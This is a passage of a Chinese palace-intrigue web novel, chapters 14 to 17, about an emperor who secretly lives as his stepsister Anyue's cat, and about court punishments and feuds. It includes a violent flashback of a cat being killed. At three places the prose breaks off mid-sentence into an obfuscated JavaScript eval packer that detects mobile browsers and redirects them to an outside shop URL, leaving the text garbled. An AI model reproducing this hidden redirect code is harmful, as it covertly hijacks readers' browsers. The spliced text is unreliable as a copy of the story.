安玥低头写字,那头冷淡一声:“抄经是为了静心,妹妹不该走神才是。” 两张书案离得极近,一只横向,一只纵向,边角几乎要对在一起。安玥笔尖的字洇成了一团墨,却是乖巧道:“谨遵皇兄教诲。” 今日之事,她倒不觉得皇兄是为了谁主持公道,倒更像是寻了个由头磋磨她。 先前那件事,他绝对是故意的! 曲闻昭看着她执笔泛白的指尖,唇角微扯,好整以暇地看了眼窗外,起身。 胡禄在房外候了片刻,房门打开,便见陛下从里面出来。 靴子一步步碾过阶上的落雪,留下印记。玄黑的氅衣亦从阶面扫过。 “陛下。” 曲闻昭睇他一眼。 胡禄将事情原委一五一十告知,未偏向谁,也无添油加醋,陛下有自己的判断。 曲闻昭耐心听胡禄说完,低低笑了声。他掩在袖中的手轻轻捻了下,上面似乎还留有一丝潮意。 “他既目无长姐,那便按宫规,打二十鞭。” 胡禄有些讶异地抬起头,反应过来,“是。” 安玥端坐在案边写了阵,悄悄扭过头,见屋门没有打开的趋势。她看了一眼边上的茶水,抿唇伸出两根手指捻起壶盖,将手中沾了墨的毛笔放到里面快速搅了搅。 她先前便闻到了,壶子里烧的是泾阳茯砖茶,又是陈茶,茶汤颜色本就深,她悄悄放那一点,并不明显。可若是不放,她又咽不下这口气。 安玥做完这一切,飞快缩回手。她不知怎的觉得后颈有些发凉,心虚地看了眼身后,好在房门依旧紧闭。 她端坐回去,若无其事地抄书,不由得有些后悔。一阵冷风吹过,将宣纸吹起弧度。安玥猜到是有人进来,好不容易安定下来的心瞬间扑通直跳。她稳了稳心绪,面上不见异样。 曲闻昭站在她身后不远处,见她端正坐着,时不时用笔尖沾了些墨水,瞧着颇为乖巧。 他走近了,在安玥对面坐下。 安玥又写两个字,听到外边传来一声撕心裂肺的哭嚎,“皇兄!臣弟错了!” 14. 第 14 章 安玥原本跳得飞快的心被这一震,不由颤了颤,一扭头,果真见到一张熟悉的脸,那张原本趾高气扬的面上沾满了鼻涕眼泪。 曲靖溪跪在雪中,他双手朝上,掌心通红,离近了瞧,还泛着青紫,显然拿戒尺的人是下了功夫,往人骨头上打。又是一鞭戒尺落下他手心,“啪”得一声脆响,回荡在冰天雪地里。 这显然不是第一鞭了,只是先前曲靖溪碍于安玥在,强忍着没出声。 胡禄在边上,似是好言相劝:“七皇子殿下,您给公主道个歉,此事便算过去了。” 他双唇颤抖着,直到又一鞭下来,他终于忍受不住:“是皇弟的错!” 他一嗓子喊完,察觉四周无数只眼睛盯着自己,如芒在背,好像连拍打在身上的风都在嘲笑自己。 但他已经顾不得这些了,他感觉他的手快断了。以往犯了错,父皇也会命人打他手板,可哪像今日这般疼。 “皇姊,是皇弟的错,皇弟不该对皇姊出言不逊!”他连滚带爬,“别打了!别打了!” 安玥看着小霸王一把鼻涕一把泪在雪地里翻滚,瞧着好不狼狈。她先前心底那股心惊胆战之意被这么一闹,散了些,又有些解气。 可只看了一眼,她回过头抄书,决心不介入此事。 不防一道清冷的声音,如鬼魅般自身后冒出:“他出言不逊,不顾礼法。皇兄替你惩治他,不高兴吗?” 这一声不大不小,却足以让外边的人听清了。 安玥捏着笔的手用了几分力,“……做长姐的总不能同弟弟计较,他知道错了便好。” 曲闻昭朝外面看了眼。原本停了动作,等着陛下示意的宫人收到示意,将剩下的鞭子抽完,把瘫在地上的人拖回偏殿。 积雪被压出两条深痕。 安玥一回头,见皇兄盯着自己,忽然觉着手心也有些痛。 这是什么意思?杀鸡儆猴吗?还是想让她受人记恨,借刀杀人? 曲闻昭看她神情,便知她多想,倒也好。他抬手要倒茶。安玥见他动作,不知怎的有些后悔,急急压住曲闻昭的手,“别喝!” 曲闻昭动作微顿,目光不着痕迹地在那双压着自己的手上掠过,抬眼看她。 安玥打了个哆嗦,缩回手:“茶水凉了……这么冷的天,差人换一壶吧。” “无妨。” 安玥见皇兄已经提起茶壶,怕他起疑,不敢再劝。垂着头假装抄书,不敢再看。 曲闻昭将茶盏递至唇畔,眼中掠过一抹戏谑,抬眼看向面前心不在焉抄书的人。 他语气温和:“饿了吗?” 安玥笔尖微顿,登时警铃大作,“还好。” 曲闻昭含笑吩咐了声,让人送了糕点过来。安玥看清盘子里各式各样的糕点,觉得喉咙被什么东西卡住,想吐又吐不上来。 她试探性地拿了一块最小的,“多谢皇兄。” “上回送妹妹的糕点,妹妹吃完了么?” 她刚咬两口,措不及防听到这一声,被糕点噎得直咳嗽。一只手极为体贴地将茶水递来,安玥心中想着应对,不经意喝了一口。 墨水加了麝香,焦苦与烟灰气混着糕点的甜,安玥险些吐出来,一抬眸触到皇兄目色。她打了个激灵,捂着唇咽下。她想吐,心跳得飞快,一边在想皇兄是否察觉端倪,感觉肠子都被墨染成了乌青色,“……皇兄恕罪,那糕点实在太多,还剩一些……但皇兄的心意安玥心领了。” “吃不完便算了,改日再给你送新的便是。” “不……不必了。”安玥咬着牙拒绝,对上曲闻昭温和的眸光,安玥解释:“不敢劳烦皇兄。” “并不麻烦。我以为妹妹是喜欢吃的,毕竟妹妹宫里的宫人都觉得我与妹妹情谊深厚。” 安玥心中惊疑不定,皇兄是不是察觉出什么? “安玥与皇兄是兄妹,宫人们觉得情谊深厚也无可厚非。” 曲闻昭目光落在她面上,生出戏谑,像是一颗滚珠不紧不慢从人面上滚过,不痛却痒,让人觉得如芒在背。 接下来几个时辰,二人都未再说话。安玥坐了会,觉得腰酸背痛,又不敢表现出来,见皇兄不管自己,悄悄把背弯下来些,寻了个相对舒服的姿势。 房内烧了新茶,茶水“咕噜咕噜”冒着响。 曲闻昭将最后一本奏折批完,一抬头,见安玥不知何时趴在桌案上,一双羽睫垂着,呼吸平稳,面靥微微泛红,发髻也毫无攻击力地披垂下,俨然是睡着了。 他盯着面前的人,鬼使神差地,伸出一根手指,缠绕上她的头发。 房门被叩响,胡禄试探性地问:“陛下,七殿下昏过去了,似是起了高热,可要让人回去?” “陛下?” 安玥被动静闹醒,醒来时,眼神还有些迷蒙。 曲闻昭在此之前已收回手,他手肘微曲,横放在桌边,垂下的指尖还勾有一根从她头上带下来的发丝。 “送回去便是。” “是。” 他回过视线,见安玥已经清醒了大半。原本白皙的面上映了块黑色的墨迹,瞧着像只花猫,尤为滑稽。 她显然未察觉这一点,还在心虚地解释:“是皇兄这儿太暖和了,安玥才不小心睡着了。皇兄莫要生气。” 曲闻昭看着她面上的墨迹,极为善解人意,“既然困了就回去,明日再抄也是一样。” 安玥微微瞪大眼睛,不敢相信今日皇兄会这般好说话,欢天喜地:“多谢皇兄!” 她站起身,临走前不忘补一句,“皇兄最好了,安玥明日将经文抄好了便给你。” 安玥从宁兴宫回去,走出两步,总觉得有无数道目光朝这边看来,待她对视回去,那些目光又闪躲开。 直到清栀小跑着朝这边过来。 “公主,您……”她话一顿,指了指自己的脸。 “怎么了?” 清栀压低声提醒:“您面上沾了墨迹。” 安玥僵了僵,抬手去蹭,“这儿吗?” 清栀取了块帕子,“奴婢来吧。” 安玥想起,这墨迹应是先前睡着不慎印上的,她面上有些羞恼。 里面那人是存心看她笑话。 安玥回去便听人议论,说今早七皇子欺打长姐,目无尊长,被陛下罚抽了十鞭。后被罚跪在偏殿抄书,回去后一双手青紫,整个人起了高热,太医忙了一晚上。 寒风从窗缝灌入,发出呜咽声。 “溪儿,你莫要吓母妃。”莲太妃双目通红跪在床边,一只手轻轻摸了摸床上的人的额心,只摸到一片滚烫。 “太医来了没有?” “娘娘,已经在来的路上了。今日积雪未……” “废物!都是一帮废物!磨磨蹭蹭,是要把我儿拖死吗?”莲太妃猛地加大了声量,双目亦是布满血丝,没了素日雍容端庄的样子,瞧着有些可怖。 岁康站在一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613224|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧,看着面前一幕,亦是不知如何是好。 “母妃……” 榻上的人嗫喏了声。 莲太妃双目颤了颤,瞬间变得阴毒,“安玥这个贱人!同那贱女人一样,惯会使狐媚手段,蛊惑人心。” “母妃,听说当年那女人入宫前便怀有身孕了,只是父皇一再坚持,那孩子是他的。可如今想想,安玥同父皇长得无一点相似之处。母妃您说,皇兄这般偏袒她,莫不是知道了什么,两人暗中勾连在一……” “啪!” 岁康话未说完,被一巴掌打偏了头,她眼底闪过一丝难以置信,“母妃……?” 莲太妃喘着粗气,抬起的那只手跟着颤抖,亦是不敢相信自己做了什么。她后知后觉,要去抱她,却被岁康甩开。 “是母妃的错,母妃急昏头了。只是这样的话,万万说不得。” 岁康哪里还听得进去,她满目通红看着莲太妃,俨然是委屈极了,抽泣一声,跺了跺脚,冲出屋去。 安玥抱着那卷经文回去。经文不长,可若要抄满二十遍,也要一番功夫。 房门紧闭,她坐在书案后,越想越生气,心底把曲闻昭骂遍了。 “曲靖溪是小傻子,皇兄是大傻子,一家傻子凑齐了。” “皇兄是大傻子!皇兄是大傻子!” 安玥被这突兀的一声吓了一跳,心中惊疑不定,一扭头,见是咄咄在说话。眼见着咄咄越喊越大声,她后背发凉,顾不得生气,连忙小跑着上前,做了个嘘声的动作。 咄咄睁着一双圆溜溜的眼睛看她,学着若桃平日里的语气,“公主回来啦,公主回来啦。” 安玥还维持着弯腰的动作,“咄咄你吓死我了。刚刚那句话,以后不可再说。不然会有坏人来把你炖了。” 可惜安玥还是高估了咄咄的脑子。它只是晃了晃脑袋。 安玥逗了咄咄片刻,坐回矮榻抄书去了。 晚间,曲闻昭穿过来后便在桌下趴了会,等了一炷香,见安玥没有像往常一样过来轻薄他,还觉着奇怪,缓缓从桌子下走出。 映入眼帘的是一双穿着绣鞋的足,安玥伏在案上,笔杆动着。 曲闻昭在原地站了会,安玥连个眼神都没分给他,他觉得无趣。 还要抄多久? 他在原地又踱了两步,最后索性跳回榻上。榻不大不小,只是对于眼下这具身形来说就要空落的多。 他踩着绸被,闭眼在榻上躺了阵,莫名有些睡不着。 可笑,他是习惯了被人抱着睡,没有还睡不着了?曲闻昭心底冷笑了声,忍着恼意把眼睛闭上。不知过来多久,他从榻上站起。 他在榻上踱了两步,疑心是被下了降头,想离安玥远点,略显烦躁地跳下了榻,朝屋外走去。 皓月当空,他踩着簸箕跃上墙头,又往下一跃,跳出宫门。 这还是他第一次借着猫身翻墙。 双脚落地,旋即一阵天旋地转,黑暗笼罩上来,混杂着一股土腥气。 他心下微惊,双脚离地,他挣脱不得,察觉自己被一只布套困死。 这宫里不乏有心思扭曲的宫女太监,有虐打猫犬之癖,但仅囿于无主之畜。 何人如此大胆?! “小狸奴啊小狸奴,咱家守了你几晚上,可算是守到你了。要怪就怪,你们主儿把你放在心尖儿上,偏偏又得罪了岁康公主。” “那就别怪咱家心狠手辣了。” 15. 第 15 章 岁康。曲闻昭目色微寒,旋即,一股剧痛席卷全身,他被重重砸在地上,浑身骨头都要颠散。 他挣扎着要爬起身,一根长棍蒙头打来。腿骨断裂般的疼。 “用力打!” …… “灾星,你说你母妃是不是就是被你克死的啊?” “你们说,我多打他两下,能不能散散晦气啊?” 曲闻昭被几只手狠狠压在地上,棍棒一下一下落在他身上。 他猛地抬眼,盯着面前的人。眼底不复以往那般柔顺,似有阴翳划过,沾着血气。 曲婺触到他眼神,面色微微变了下,旋即反应过来,眼底闪过一丝阴狠。 他扬起手里的马鞭,重重落下,“啪”得一声,鞭上倒刺划破了他背上的衣服。 曲闻昭闷哼一声,他额上渗出汗珠,顺着眼睫滑入眼中,酸刺感逼得眼前一片模糊,恍惚间,他视见一辆明黄的宫车辘辘而过。 他张了张口,似是喊了声:“父皇……” 耳畔泄出刺耳的笑声。 曲婺弯下腰,手里的马鞭轻轻拍了下他的脸,力道不算大,却极具侮辱性,他口中说出来的话更是要将人骨头刮下来一层,“瞧瞧这可怜样,真是我见犹怜啊。若我是个短袖,怕是也得动恻隐之心了。” “你猜我们为什么敢这么肆无忌惮?哈哈哈哈!你以为父皇会管你么?” 曲婺压低了声音:“像你这等身负不祥之人,父皇巴不得你生场大病,最好病死了去。我母妃将你养这么大,也算是天大的恩情人,你可得求着我,我们还能赏你一口饭……” 他话未说完,耳畔响起人声:“你在做什么?” 曲闻昭睁眼,视线里出现一双蟒靴。 再往上,是朱红的锦袍,玉带嵌着东珠,紫貂披风压肩。体态颀长,端得是龙章凤姿之相。 他并未察觉有人在看自己。亦或是察觉到了,只是这目光并不值得他去回应。 曲婺脊背微僵,一抬头,见是曲奕。他收了吊儿郎当的样子,恭敬行礼,“大哥。”他认真道:“皇弟在同兄长开玩笑呢。” “开玩笑也要有度,冬日宴要开始了,一会安玥要过来,莫要让她看见这幅场景。” 曲婺勉强笑笑,“皇弟知错。” 他挥了挥手,原本架着曲闻昭的宫人兴致缺缺松了力道。 曲闻昭倒在地上,他试着抬了抬手腕,没断。背部还渗着血,他浑然感受不到般,支起身,绣着夔龙纹的衣摆从他身侧掠过,不带温度。 等再抬眼,曲奕已经走远了。只留一道背影,高高在上。 天边是一顶圆日,压在人头上,红得刺眼。曲闻昭却浑然感受不到般。他抬起手,虚虚抓了下那轮圆日,他指缝沾了血,血珠随着动作滴落,在泥地中开出鲜红的花。 曲闻昭兀得笑了。 斜日将残,本就是要落到脚边的东西。 黑暗笼罩,意识模糊之际,不远处传来一声呵斥,“你们在做什么?!” 他听到一道慌乱的脚步朝这边奔来,他勉强抬了抬眼,看见一张熟悉的脸。 她将他紧紧抱在怀里,瞪大的双目里似有泪光闪烁,夹杂着难过,愤怒,还有旁的他看不懂的情绪。 这宫里养宠的贵人多是看中宠物乖顺,漂亮。可他此刻无需照镜子,便能猜到自己有多狼狈。更遑论手足尽断。 他曾见宫中的妃嫔养了一只狸奴,有一日那只狸奴被炭火烧焦了皮,便被宫人扔在雪地里。 他看见那只狸奴倒在雪地里呻吟,说不清是什么感觉。 只是将那狸奴抱了回去。他有一口饭,便匀它一口饭。那狸奴饿得狠了,也很会审时度势,喂什么都吃,又亲人,随便给它一口饭,它就跟着人跑。 就这样过了半年,狸奴的伤口长全了,只是比从前瘦了许多。直到有一日,那狸奴跑了。再次见到它时,它被曲婺抱在怀里,亲昵地蹭着曲婺的手心。 审时度势,趋利避害,就连一只畜生也不例外。 他觉得脏,觉得恶心。他用一块鱼肉诱得那只狸奴靠近,他给了它一次选择的机会。直到那只狸奴将鱼肉啃得一干二净,它舔了舔唇,转身离开。 曲闻昭兀得笑了,果真是如此。眼看着狸奴越走越远,他掏出事先准备好的匕首,刺入那只狸奴的心脏,直至猫心挖出,胸口处只剩下一个鲜红的洞。血液滚烫,将整只手染得血红。 这只狸奴本就是没有心的,留着也无用。既然不愿乖乖待着,便去死好了。 他心中阴翳未散,腿上刺痛。他回过神,见安玥不知何时已将他带回宫中。 “弄疼你了吗?” 曲闻昭抬起头,见安玥一双眼睛红红的。 他受得伤,怎么她反倒一副受人欺负的样子?也对,他眼下毕竟是她的宠畜,他被人打断腿,无异于甩了安玥一巴掌。 安玥突然低头,在他那双受了伤的腿上轻轻吹了吹,一股轻柔的凉气从腿间扫过,奇异的,那股剧痛竟真的缓解了些,还有些痒。 安玥一边替他包扎伤口,口中念叨个没完,“我回头让太医拿最好的药给你医治,我再把欺负你的那些人毒打一顿,以后你要是嫌在屋里待得闷了,就拽拽我的裙子,我抱着你出去,不会再让你一个人了……” 她今日话好多。 曲闻昭本该觉得厌烦,可奇异的,他觉得心口处似是被什么填满。 安玥替他包扎完伤口,又将他紧紧抱在怀里,一只手轻抚他的背。 “要是再去晚些,我就只能抱着你的尸体哭了,幸好,幸好……” 她话里,怀里的咪儿动了下,似是想证明自己还活着。安玥一把把他拍了回去,“歇着!” 接下来几日,安玥都格外小心翼翼。不让咪儿下地,大多数时候都把咪儿抱在怀里,若是到了饭点,便将他放在膝盖上,将鱼肉端在他面前。 夜里醒来,替他换药,又照顾伤势。好得有些过头。 曲闻昭一开始坚信,她与那些妃嫔并无分别,眼见着他伤势好不了,到头来必会把他弃了,他觉着这样也好,回了宁兴宫,省的受磋磨。 可就这样过了十天半个月,他没被她丢出去,反倒伤势好得奇快。 他觉得心跳得极快,有什么在脱离自己的掌控,让人有些烦躁,这种捉摸不透的感觉让人感觉似是有蚂蚁在啮咬骨髓。 他把这种感受称为嫉妒。嫉妒哪怕只是一只畜生,却能得到一个人无微不至的照顾。 那股不知名的情绪有了归宿,亦理清了由头,他心底那股不安方压下去了大半。 安玥这几日心系咪儿的伤势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624065|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眼见快到了日子,她方想起还有经文未抄完。 距离上回已过了六七日,若是再交不出便说不过去了。好在皇兄那尚未派人来催。 她不确定皇兄是不是想酝酿一波大的,再行发难,忙派人去解释了一番,说是纸页太多,有些乱了,待她整理好,明日便给陛下送去。 只是第二日不知怎的又有风声传出,说她同岁□□了龃龉,正被罚抄书。 安玥将最后一笔写完,揉了揉酸痛的手腕,她听着若桃禀报,将笔放下,心里有了计较。 午后又有内侍进宫来催,若桃将盒子里的经文递交内侍手里,“多谢公主,奴婢这便回去复命了。” 角落里有不少宫女三三两两站在柱子后,好奇地看着这头动静。 那内侍转身要离开,安玥突然把人叫住:“公公留步。” 她上前两步,眉眼弯弯,“安玥听闻这心经有消除业障,积攒福报,保人平安之用,是以挑了这一卷,期盼此经能护皇兄平安顺遂。” 那内侍虽不理解这话有何深意,但猜测因是奉承之语,“公主放心,奴婢定会将公主的心意转达。” 安玥将这番话说完,心底郁结散了大半。四周围观的宫女太监见传言有误,一时也都收了心思,专心忙手中的事情。 曲闻昭手里翻着那沓纸,脑中回忆起她昨夜挑灯抄书的样子,下了雪的天,她额头上却沁出一层薄汗,一开始神色尤其焦急,眼看着快抄完了,她左手却捏紧了拳。 最后几张的墨格外地重,有几个字快把纸洇破了。 他听内侍将话禀完,突然笑了声,“你告诉她,既是要让经文起效用,总得心诚,行笔提按有节。可这后几页纸,字迹潦草,不如重抄。” 他这妹妹既然有自损一千也要杀敌一百的骨气,又为何要放在这不痛不痒的讥讽上? 每次都蠢得好笑。 那内侍心下微惊,反应过来陛下是有意刁难公主,一时又担心自己说错了话会被波及,悄悄觑了眼陛下神色,却见陛下眼底含笑,并无生气的样子。 他连忙垂下头应是。 殿门打开,风透过缝隙卷进殿中,将纸页吹得哗啦作响。 积雪未化,缝外是灰蒙的天空,银霜素裹,偶尔露出几块青黑色,是覆了雪的枝。 “莲太妃近日如何?” 胡禄虽不明白陛下怎突然问起莲太妃的事,但还是恭敬道:“听说前几日七皇子高热不退,莲太妃茶饭不思照顾了几日,也受了风寒,尚在病重。” 曲闻昭不知怎的想起安玥那句:若是我的母妃还在的话,母妃也会对我很好的。 “皇陵之地清净肃穆,太妃心绪不宁,传旨让其前往守灵兼以静养,也好为子女积攒福报。” “是。” —— “守灵?”莲太妃支着身子,瞪大眼睛,原本苍白的面色更如枯槁,她语气喃喃。 岁康亦是面无血色,她跪在地上,仰着头,语气焦急:“公公,皇兄可有说要母妃去多久?” “陛下吩咐,既是陪伴先帝,那是忠贞之举,自然是能守多久守多久。” “能守多久守多久是什么意思?!”岁康突然拔高了声量,声音有些发颤,“一辈子回不来了吗?能否向陛下求求情……母妃生了病未愈,可否换旁人……” 16. 第 16 章 前来宣旨的太监一语不发,依旧面带微笑,似乎对这般情态见怪不怪了。最后是卧病在床的莲太妃将岁康语气疲惫地打断,“岁康,别说了。” “母妃!”岁康起身小跑到莲太妃身侧,“母妃你不要去,岁康不要你去,母妃你不要岁康了吗。” 莲太妃伸手,轻轻摸了摸女儿沾了泪痕的脸,心疼道:“母妃不在你身边,你要照顾好自己。你弟弟还小,行事莽撞,你多劝着他些。” “不要……母妃我不要……”岁康泣不成声。 莲太妃声音有些沙哑,“不知陛下可否宽宥一日?” “圣旨上说,是要即日启程。” “皇兄为何如此?!当真就这般不近……” “岁康!”莲太妃厉声打断,“你要记着,谨言慎行。” 她语气染上几分哀怮,“母妃不在了,以后没人提醒你。” 可岁康哪还能听得进去? “母妃,我知道了,一定是安玥,肯定是她和皇兄说了什么……我去找她!” “岁康……咳咳!”莲太妃几乎要从榻上滚下,被侍儿扶住,她伸手要去拽岁康,却拉了个空:“你回来!” 安玥前脚刚打发走皇兄派来的内侍,还在余怒中未回过神,被巨大的吵闹声唤回思绪。 “岁康公主,您不能进去。” “安玥!” “安玥你给我出来!” 安玥站在院中,一扭头,正见一道橙色的身影朝这边飞奔而来。若非来人神色扭曲,她几乎要以为她是来看自己笑话的。 安玥面带微笑,语气却透着不耐:“皇姐怎么来了?” 岁康先前看见几名内侍从安玥宫里出来,还觉得那内侍眼熟,现在方回想起,那几名内侍是皇兄身边的人。她心底的猜测无形中被证实几分,此刻再看见安玥面上的笑意,她觉得更是刺眼:“你少给我装!是不是你做的?!” 安玥眉心微蹙,当即背过身去。身后的人拔高了声量:“就是你!我们何处招惹你,你要使手段,要送我母妃去守皇陵?!” 安玥脚步顿住,莲太妃要去守皇陵了,好事啊。可是和她有什么关系? “皇姐误会了,此事和安玥无关。” “你少给我装蒜!若非你使了狐媚手段,皇兄好端端怎会突然下旨让母妃去守灵!” “你没了母妃,就嫉妒别人,想让天底下的人都和你一样,是不是!” 安玥冷眼看她:“皇姐慎言。皇姊平日说我也就罢了,说这话,不是暗示皇兄忠奸不分,受人蛊惑么。” “我分明不是这个意思!” “安玥怕是没什么能帮上皇姊的。皇姊不如去求求皇兄,再不济就陪太妃娘娘走一段,也好过在安玥这浪费时间。” “你回来!”岁康眼见着安玥越走越远,有些慌了神,“安玥,你替皇兄求求情,我母妃生病了,这么寒的天,母妃怎么受得住!你就没有心吗?!那也是你半个母妃啊!” “安玥!”她追上去想扯她,被侍从拉住,“以前的事,是皇姐的不是行了吧!你帮帮皇姐!” 四周宫人瞧着这一幕,心里有了计较。毕竟谁不知岁康公主与安玥公主不合,听说前几日还让人打断了公主宠畜的腿,如今陛下是替公主出气呢。 安玥听着四周议论,有些想笑。她们也太高估她了。 连着几日悉心照料,咪儿的腿好了许多,但安玥仍不放心它下地,免得刚愈合的骨头又滑脱了。 “今日岁康同我道歉,竟是因为莲太妃要去守灵,她以为这事和我有关,你说她蠢不蠢?” 曲闻昭趴在她膝盖上,浑然未听到般。 安玥压低了声音,“皇兄也蠢极了。” 曲闻昭眼皮子抬了抬,便听安玥接着道:“皇兄若是知道自己本想刁难我,却让宫人误会,以为皇兄宠幸我,无形帮了我一把,怕是要气死。” 曲闻昭冷笑,他早就知道了。没拆穿,只是想多玩几天罢了,倒长了她的气焰。 他臂下微痒,安玥竟双手将他抱起,她一双眼睛弯着,俨然是心情大好,“你说这帮人是不是很蠢?” 安玥一低头,觉得这狸奴似是在瞪人。 好圆的眼睛呐。 安玥将他揽在怀里,一只手勾他下巴,“咪儿你叫一声。” 曲闻昭强忍着怒气,就要从她膝上跳下去,又被一把捞回。 “好了好了,不闹你了。你伤没好,不要乱跑。” 曲闻昭眼皮子轻轻抬了下,由她抱着。 眨眼冬日过去,正值春寒料峭之时,元宵节至。 宫中布了宫宴。太液池畔结满彩灯,水中映月,庭燎烧空,难得热闹。 因先帝殡期未过,此次宫宴不似往年盛大。 高台上的人身着通天冠服,最外是一层玄衣,绣有日月星辰。内里纁裳是朱红色,衣裳华重,穿在曲闻昭身上却半点不显臃肿,反倒华贵非常,不怒自威。 安玥坐在下面,遥遥看着,只觉得皇兄跟画里的人似的,中间隔了一层,这般瞧着,比平日更不好接近。 好在台上的人也并未注意到她。安玥埋着头吃饭,感觉到脚边被毛茸茸的东西蹭了下。她一只手悄悄探到桌下,轻轻摸了下那团雪白,做了个嘘声的动作。 她从边上另取了只筷子,夹了块鱼肉伸到桌下。 台上传来声音:“丞相辅佐两代帝王,劳苦功高,此酒朕与你共饮,以慰辛劳。” 何祈受宠若惊,连忙起身到殿前,他双膝跪下,双手交叠过头顶,“老臣叩谢陛下隆恩!陛下以帝王之尊与臣共饮,此恩臣万死难报。臣必竭尽残年,再辅陛下安邦定国,不负先帝托付!” 曲闻昭往台下看了眼,待要收回目光,瞥见一道亮色的身影,她今日穿了件鹅黄的钿钗礼衣,内里朱红,腰系双佩小绶,大袖用缕金袖了团花纹。 此刻弯着腰,大半个脑袋都埋在案下,不知在忙活什么。 他指腹轻摩虎口。 何祈犹在地砖上跪着,一旁的胡禄见皇帝久久不说话,低声提醒了句:“陛下。” 曲闻昭收了思绪:“爱卿不必多礼,起身落座吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635991|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安玥刚喂完咪儿,哪知它吃饱了就要往外窜,被安玥急急揪回来,一番动作下来,她后背都渗出一层冷汗。 她原本是担心咪儿伤势未愈,再出现上次那般的情况,咪儿又不习惯旁人照顾,她不放心将咪儿一个人留在宫中,才悄悄带来。 哪知它酒足饭饱了就要往外跑。 咪儿见跑不掉,便在安玥掌心蹭了蹭,安玥刚松一口气,脚边一空,那团白色已经如离弦的箭般窜出去了。 安玥面色微惊,不自觉起身想去追,刚离开杌櫈,她感觉到头顶一道目光清凌凌落在她身上。 她觉知自己还在席上,慌忙坐了回去,饶是动静不大,但已有不少目光注意到这边。 安玥一抬头,见台上目光透着些警告的意味。 安玥缩了缩脖子,连忙埋下头,身子坐正了些。她心底焦急,余光往外瞥了眼,招了招手,同随行的女官贴身说了什么。 不消片刻,胡禄收到消息,凑到曲闻昭耳边,“陛下,公主说身子不适,请求先行离席。” 曲闻昭一手支额,揉着脑袋,眼睛未抬,薄唇轻启,“准。” 他不管她真病还是装病。她出去应是找那只蠢猫的。若是那猫再像上回那般磕了碰了,届时他也得受麻烦。 安玥起身朝曲闻昭遥遥行了一礼,也不管他看到与否,就要离开。临末,她察觉一道目光看向这边。 那是名男子,瞧着同皇兄一般大,眉眼清俊,瞧着面善。安玥礼节性朝他露出抹笑,也未管皇兄是否看到自己,已转身朝殿外赶去。 “公主性子活泼,古灵精怪,倒让臣想起家中小妹。” 说话之人是丞相长子何元初,任翰林编修。 他声音不大,只是闲谈,离得近的几人却听清了。 说者无意听者有心。岁康目光先是怔了下,在无人注意之处,她拽紧了手中的杯盏。 曲闻昭轻轻抬眼,语气意味不明,“是吗?” 靠得近的几位大臣心下了然。都说因祺昭容娘娘一事,陛下不喜安玥公主,如今看来,却有此可能。 何元初将新帝神色收于眼底,默了阵,笑道:“不知陛下以为呢?” 曲闻昭指尖轻轻扣了下桌面,未说话。何元初似是方反应过来,惶恐起身:“微臣失言。” 夜里风凉,主仆三人打着灯,弯腰在草丛里不知寻了多久。 安玥先前出了汗,这会被风一吹,倒有些发冷。她拢了拢身上的狐裘,压低了声:“咪儿?” 清栀察觉公主动作,劝道:“公主,这儿太冷了,您先回去吧,奴婢再唤些人来找便是。” 安玥摆了摆手,“没事,我不冷。” 安玥见这处找不到,便想换个地方再寻。却听到“喵呜”一声,她目光一亮,甫一转身,见一男子向这边缓缓走近,他身着绛纱单衣,中单,襦皆为白色,身姿清逸颀长,眉目疏朗秀逸,若雨中青竹,气质不俗。 靠近了,便见他手里抱着一只雪白的团子,正是咪儿。 安玥不知怎的觉得此人有些眼熟。 17. 第 17 章 “臣翰林编修何元初,见过公主。” 安玥想起此人是谁,她双瞳微微放大:“本宫似乎在父皇的案上见过一册书,编撰者是大人的名字。当时父皇还对大人赞不绝口。” 这一家子倒是当之无愧的簪缨世族。 “公主谬赞。” 安玥好奇地又看了何元初几眼,方想起这些同她似乎也没有什么关系。她目光从咪儿身上移开,莞尔:“不必多礼。” 咪儿趴在何元初怀里,不知是否挣扎不过,只能睁着一双眼睛,可怜巴巴看着安玥。 安玥指了指他怀中的雪团子,有些忐忑:“这是本宫的狸奴,不知何大人可否还给本宫?” 咪儿有时很“清冷傲岸”,但大多时候都很顽皮。她生怕咪儿哪里冒犯到对方。 她情绪都写在面上,何元初似是被她模样逗笑,“这狸奴本就是要还给公主的。” “多谢何……” 何元初刚一松手,咪儿竟骤然抬臂,安玥心头一跳,便见咪儿尖锐的爪子在他手背挠了一道,原本白皙如玉的手背破了皮,顿时渗出血来。 而“始作俑者”全然未察觉自己做错了什么,从何元初手中跳下,钻到主人的裙摆下,对着何元初呲牙。 安玥面色微惊,靠近两步,“何大人可有大碍?” 何元初身侧的侍从见了亦是一惊,“大人您没事吧?” 